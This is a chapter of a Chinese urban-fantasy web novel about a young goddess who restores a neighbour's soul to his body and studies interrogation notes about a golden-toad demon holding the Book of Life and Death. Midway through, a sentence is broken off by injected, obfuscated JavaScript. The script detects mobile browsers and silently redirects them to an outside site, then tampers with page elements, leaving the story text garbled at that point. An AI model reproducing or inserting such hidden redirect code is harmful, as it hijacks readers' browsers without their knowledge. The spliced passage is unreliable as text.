神荼不以为然:“你以为我会再让生死簿落在别人手里吗?” 崔明不能把生死簿拱手让给神荼,神荼身为守门人和五方鬼帝之一,不会允许生死簿流落到人类手里,两人没谈拢,崔明只好告辞离开。 神荼一扫先前那种平静疏离的态度,对商小玉下令:“我们要在协会之前找到生死簿,不能落到他们手里。” 商小玉知道事情的严重性,“是,师父!” 神荼点点头,隐去身形。 商小玉锁了前殿的门,回到自己房间,拿起浴巾去浴室洗澡。 镜子里,她脸上有许多干掉的血迹,是被金蟾的呱声震得七窍流血,当时没来得及擦干净,现在才有时间照镜子。 救命啊,她就是顶着这张脸和师父聊天的吗?后来竟然忘记洗干净了。 唉。 她脱掉脏衣服,洗了个热水澡。 这场架商小玉没受什么严重的伤,就是身上被鬼抓挠了些小伤口,还有碰撞的青紫,被热水一冲,疼得差点流泪。 迅速洗完澡,她找出碘酒给破皮的小伤口消毒,那些鬼手上不知道多脏,她都觉得单单消毒不够。 如果打针的话,该打什么呢?狂犬疫苗? 商小玉把自己逗笑了。她好歹是个神,免疫力应该很好,不会轻易被厉鬼传染什么奇怪病毒。 上完药,她换上睡衣,身体陷进柔软舒服的床铺中,才感觉到浑身虚弱而疲惫。 晚饭还没有吃,肚子很饿,神力耗尽,身体空虚得厉害,更需要食物填充饥饿感。商小玉脑子里一堆事情,却难得一动都不想动。 本以为得知了许多消息,身上背了个艰巨的任务,她会睡不着,事实上不到五分钟,她很快陷入了沉眠。 一觉天亮,连梦都没做。 19. 第 19 章 第二天,商小玉是被电话生吵醒的。 她接通,电话里传来张姨的声音:“小商,怎么还没开门呀,天都大亮了,阿姨出来爬山,顺便来上柱香。” 上香?商小玉条件反射坐起来,“阿姨你等我一分钟,马上!” 看看手机,已经八点钟了,她这一觉睡了足足11个小时。 精神上的疲惫缓解了很多,身体的虚弱感还在,因为神力几乎耗光了。 感谢精力充沛的张姨,商小玉立刻起床,跑到前院开门。 张姨和商小玉二十年的邻居,自来熟地说:“哎哟,还没起床哪?阿姨给你带了好多饺子,猪肉大葱馅的,用来上供的,也有你的份,你快去洗脸刷牙。” 她带了三个好大的保温饭盒,打开一个,水饺的香气扑面而来,勾得她肚子咕咕直叫。 商小玉立刻冲去后院洗脸刷牙,换掉睡衣,穿上T恤运动裤。在换衣服的时候,她鼻尖闻到一股香喷喷的香火味,身体顿时舒服不少,紧接着嘴里就尝到了猪肉大葱馅的饺子。 好香,好吃。 她拿了两副碗筷回到前殿,张姨把热气腾腾的饺子放在她面前,笑眯眯说:“快吃吧。” 商小玉夹起一颗足有半个掌心大的饺子塞进嘴里,含糊地说:“张姨一起吃。” “我在家已经吃过饭了,再吃会发胖的,你吃吧。” 饺子皮很筋道,里面的猪肉没有一点腥膻味,是最好的土猪肉,口感筋道瘫牙,大葱中和掉了油腻,让肉更鲜甜了。 神案上的供品可以填饱肚子,但商小玉还是喜欢把食物放在嘴里咀嚼的感觉,哪怕这样是吃不饱的。 商小玉一口一个,把满满一盒饺吃光,仍然意犹未尽。 真好吃。 偏殿的门“吱呀”地缓缓打开,露出一个半透明的脑袋,赵大爷嘀咕:“闻到猪肉大葱馅饺子的味道了。” 商小玉放下筷子,抽出一张纸巾擦嘴,“不好意思,赵大爷,已经吃光了。” 赵大爷耸耸鼻子,好香啊。 张姨低头悄声问:“小商,你在跟老赵说话?” 过了一夜,拜过神明后,张姨身体恢复,已经看不到赵大爷的魂体了。 商小玉点头,“我还没来得及送他回去呢。” 赵大爷在神殿里飘来飘去,过了一夜,他适应了魂体。商小玉打了保票能让他活过来,就没什么好担心了。 “我觉得这样还挺好玩的,可以飘来飘去,也不急着回去,晚上我能出去吓唬人玩吗?” 商小玉:“……不行。赵大爷,你又不是小孩了,别那么幼稚,积点德吧。” 张姨跟人有赌约,等着让那人啪啪打脸呢,比赵大爷着急得多,“咱吃完饭就赶紧去医院送老张吧?他儿子闺女孝顺,都着急坏了。” 赵大爷听到儿女着急,也不想着玩了,“那还是早点回去吧。” 商小玉请张姨帮忙看着庙里,带着装有赵大爷生魂的黑瓷坛下山去医院。 她给赵大爷的儿子打了个电话,以看望生病的邻居为由,打听好了赵大爷在市医院所在的楼层和病房,打车直奔那里。 到达医院,商小玉来到病房,看到赵大爷戴着呼吸机,躺在又一堆仪器的ICU里,门外窗口处是他一对儿女。 三十多岁、有点儿地中海迹象的儿子哭哭啼啼,反倒是他妹妹比较冷静,跟医生商量着市医院既然查不出病因,就转去省医院看病。 幸好商小玉一早就来了,否则得扑个空。 赵茹芳也认识她,打了个招呼:“小商来就来,怎么还带东西……这瓷坛里装了啥?” 家里亲戚确实有来看她爸爸的,带的礼物都是些鲜花水果和营养品之类,带一只黑瓷坛的倒是没见过。 商小玉总不能说里边装的你爸爸,含糊地说路上忘记买东西了,把瓷坛放在身后,打开盖子,轻轻一扇。 赵大爷刚探出头,被商小玉一扇,不由得往病房跌去,回到自己肉身里。 ICU病房里,躺在床上一动不动的赵大爷突然睁开眼睛,坐起身,自己把呼吸机挪开了。 他儿子赵如意第一时间看到,惊讶:“爸爸,你醒了!”连忙去叫医生。 赵大爷声音洪亮:“小商,你倒是说一声再扇啊!” 赵如意和赵茹芳:“?” 商小玉有被无语到,现场来了一堆医生护士,只好含糊:“赵大爷做噩梦了吧。” 医生去给赵大爷做检查,他不太乐意:“我没病,身体好着呢。” “爸,你别任性,身体好不好应该让医生来判断。” 医生简单检查了一下,非常疑惑:“大爷身体看起来没什么问题,但昏迷原因未知,还是做个全面检查吧。” 病人没资格拒绝,赵大爷被不由分说送去检查。 赵大爷见讲不动道理,只好退而求其次,问:“我饿了,等会想吃饺子,猪肉大葱馅的。” “行,如果医生说没问题我就给您做。” “我不吃你做的,我想吃咱小区你张姨做的饺子。” 赵如意一噎,以为老头子有什么隐晦含义,想想老头退休后天天晚上去小公园跳舞,张姨就是他最爱搭档的舞伴,大概是想来一段夕阳恋,问他的意见呢。 “行,您想二婚我同意,张姨人也挺好的,我会尊重她……” 赵大爷无语,他就是想吃个饺子,这死孩子说什么二婚。 商小玉忍俊不禁。 医院的检查耗时比较长,商小玉见赵大爷生魂回去后适应良好,先行离开。 回到桃枝山,商小玉在山下看到岳潇的大越野,回到庙里果然看到她在。 岳潇看到她,立刻把人拉到没人的地方,问:“你们和崔叔说什么了?他昨晚回去之后不让我们跟你分享消息,独立查案。” 商小玉也猜到了,崔明要生死簿,当然不会分享消息给他们,“那就各凭本事吧。” 岳潇说:“不过昨天那人是你抓到的,公平起见,崔叔让我把审问出来的结果告诉你。”她从包里掏出几页纸放在桌上。 “谢谢。”粗粗扫了几眼,纸上的内容非常完整,没有藏私,不愧是曾经的冥界判官,为人公正无私。 她去供桌上多拿了几枚桃符和一大堆桃木小剑送给岳潇,“金蟾道行很高,而且手里还有生死簿,你们会很危险,我不知道桃符能不能护住你,先拿着吧。” 岳潇接过,“多谢你。希望两边的分歧不要影响我们的关系。” “不会的。”商小玉笑了,“等事情了结,一起吃饭。” “好,你来历非凡,但是也要小心。回头请你吃火锅。”岳潇甩了甩头发,长马尾弧度优美, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13451125|139730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转身潇洒离开,英姿飒爽,像武侠小说里的女剑客。 商小玉拿起审讯内容看起来。 妖道供述,金蟾自称五圣公太阴金蟾仙尊,身边收了三个弟子,他排行第二,拜师不过五年,身上最厉害的纸钱买命和磕头拜寿都是金蟾教的。 大师兄跟在师父身边最久,法力高强,并且对师父忠心耿耿。三弟子他从来没见过,不知道本事,只听说非常有钱。 金蟾生平最大的爱好就是钱,他喜欢的不是银行账户里的数字,而是用真金白银铸成的钱,还必须得是圆形方孔的那种金币。他去外面专门找有钱人揽活,帮人续寿命,大头都换成金币送给金蟾了。 第二大爱好就是喜欢人家追捧他,要称呼他为仙尊,平生最大的梦想就是盖一间大庙,满城的人都来磕头跪拜他。 奇怪的是,妖道曾经为了讨好他,真的要给他盖一间大庙的时候,金蟾拒绝了,连藏身处都没透露过。平时联系,是大师兄约他见面,或者是通过家里神龛供奉的金蟾像传达,或是托梦。 还有件事,金蟾经常催促,让他去找一支奇特的笔。至于笔长什么样,他也说不出来,只说非常厉害,但至今还没有找到。 最后一页,是岳潇去妖道家里的搜查记录,找到了金蟾神像,其他就没什么了。 一只讲究排场喜爱金币的癞蛤蟆精,藏在东州不知名的地方,该怎么把它找出来呢? 商小玉思索许久,也没想到办法。 师父对这件事很看重,表明要和她一起查,所以跟以往自己有了问题才问师父不同,她把几页纸供在神荼案前。 纸页被一股清风吹动,翻起页来,像是一个无形的人在翻看,片刻后风止住了。 商小玉等了一下,没有等到神荼的回应,于是暂时离开。 金蟾除了生死簿,最大的招数就是声音,呱的一声能把人震碎,商小玉已经领教过两次了,她可不想再被震第三次。 要怎么应对呢? 前殿有张姨帮忙看着,商小玉没有后顾之忧,跑回房间里翻书看。 姥爷以前学法的时候在市场淘过一些道教典籍,在神荼严选下,留下几本真的,商小玉都找出来翻看。 找了半天,书里没有应对这种叫声的法子,对付妖邪的方法,多是符咒,她基本用不上。 按万物相生相克的道理,癞蛤蟆怕蛇,可是蛇也顶不住那震耳欲聋的呱呱叫吧? 商小玉很是头痛。 中午时,张姨又来喊她吃饭。 这顿饭是她去市场买了菜,在商家院里的厨房做的,四菜一汤,有荤有素,闻着就很香,而且很贴心地留了上供的分量。 商小玉都不好意思了,“张姨,麻烦你帮我看着庙就已经很过意不去了,你怎么还帮我做饭呢。” “这有什么,我闲着也是闲着,就当是赔礼道歉了,而且又不是天天来。” 张姨给她呈了满满一大碗米饭,撕了一只大鸡腿放在她碗里。 对了,鸡腿,她还答应了邻居请他们吃鸡腿,择日不如撞日,就今天好了。 等会吃过饭,她就去市场买鸡腿回来,就做红烧鸡腿饭好了。 张姨看她想的入神,“怎么不吃呢?”明明早饭吃那么香,难道是不爱吃鸡腿? 不管了,吃饭最重要。商小玉提起鸡腿咬了一大口。